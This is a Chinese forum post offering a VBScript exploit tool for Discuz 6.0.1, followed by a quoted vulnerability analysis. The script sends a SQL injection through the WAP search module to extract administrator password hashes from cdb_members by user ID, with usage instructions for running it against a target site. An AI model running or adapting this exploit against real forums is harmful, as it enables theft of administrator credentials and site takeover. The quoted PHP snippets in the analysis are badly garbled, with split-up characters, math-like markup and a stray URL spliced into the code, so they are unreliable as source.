discuz获取任意管理员密码漏洞利用工具vbs版

本打算考虑写个python版的，考虑大家的机器环境还是弄了个vbs版

也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

Dim strUrl,strSite,strPath,strUid

showB()
Set Args = Wscript.Arguments

If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If

strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

   Set objXML = CreateObject("Microsoft.XMLHTTP")
   objXML.Open "POST",strSite & strPath & "index.php", False
   objXML.SetRequestHeader "Accept", "*/*"
   objXML.SetRequestHeader "Accept-Language", "zh-cn"
   objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objXML.SetRequestHeader "User-Agent", "wap"
   objXML.send(strUrl)
   wscript.echo(objXML.ResponseText)

Sub showB()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("Exploit discuz6.0.1")
   .Echo("Code By Safe3")
   .Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("用法:")
   .Echo(" cscript "&.ScriptName&" site path uid")
   .Echo("例子:")
   .Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")
   .Echo("+--------------------------=====================------------------------------+")
   .Quit
End with
End Sub

获得的密码大家自己在result.txt中查找

以下漏洞分析来自冰封浪子

漏洞说明：Discuz 论坛系统是一套采用php+mysql数据库方式运行,在其中发现了一个安全漏洞，成功利用此漏洞可以提取管理员的密码进入后台，取得管理员权限。

漏洞厂商：http://www.discuz.net/

漏洞解析：在Discuz的wap模块中的字符转码程序存在问题，在discuz的wap模块中，该编码转换类存在严重的问题。在Discuz中，wap是默认开启的，很容易被攻击者利用，这个问题存在与discuz所有版本中。
在discuz代码中存在多处可利用的地方，如:pm.inc.php/search.inc.php等，下面给出可疑代码片段：

pm.inc.php：
$f l o o d c t r l =$ floodctrl * 2;
if( $floodctrl && !$ disablepostctrl && $t i m e s t a m p -$ lastpost < $floodctrl) {
wapmsg(’pm_flood_ctrl’);
}

if($formhash != formhash()) {
wapmsg(’wap_submit_invalid’);
}

$m e m b e r =$ db->fetch_first(”SELECT m.uid AS msgtoid, mf.ignorepm FROM { $tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING (uid) WHERE username=’$ msgto’”);
if(! $m e m b e r) w a p m s g (^{'} p m_{s} e n d_{n} o n e x i s t e n c e^{'}); i f (p r e g_{m} a t c h (” / (^{A L L}$ |(,|^)\s*”.preg_quote( $d i s c u z_{u} s e r, ‘ /^{'}) . ” \s * (, |$ ))/i”, $m e m b e r [^{'} i g n o r e p m^{'}])) w a p m s g (^{'} p m_{s} e n d_{i} g n o r e^{'}); i f (e m p t y ($ subject) || empty($message)) {
wapmsg(’pm_sm_isnull’);
}

search.inc.php:
if(isset($searchid)) {

$p a g e = m a x (1, i n t v a l ($ page));
$s t a r t_{l} i m i t =$ number = ( $p a g e - 1) *$ waptpp;

$i n d e x =$ db->fetch_first(”SELECT searchstring, keywords, threads, tids FROM { $tablepre}searchindex WHERE searchid=’$ searchid’”);
if(! $i n d e x) w a p m s g (^{'} s e a r c h_{i} d_{i} n v a l i d 1');$ index['keywords'] = rawurlencode( $i n d e x [^{'} k e y w o r d s^{'}]);$ index['searchtype'] = preg_replace(”/^([a-z]+)\|.*/”, “http://www.cnblogs.com/Safe3/admin/file://0.0.0.1/“, $index['searchstring']);

$s e a r c h n u m =$ db->result_first(”SELECT COUNT(*) FROM { $tablepre}threads WHERE tid IN ($ index[tids]) AND displayorder>=’0′”);
if($searchnum) {
echo “<p> $l a n g [s e a r c h_{r} e s u l t] < b r / > ”;$ query = $d b - > q u e r y (” S E L E C T * F R O M $ t a b l e p r e t h r e a d s W H E R E t i d I N ($ index[tids]) AND displayorder>=’0′ ORDER BY dateline DESC LIMIT $s t a r t_{l} i m i t,$ waptpp”);
while( $t h r e a d =$ db->fetch_array( $thread[tid]\”>#”.++$ searchnum, $w a p t p p,$ page, “index.php?action=search&searchid= $searchid&do=submit&sid=$ sid”);
echo ‘</p>’;
} else {
wapmsg(’search_invalid’);
}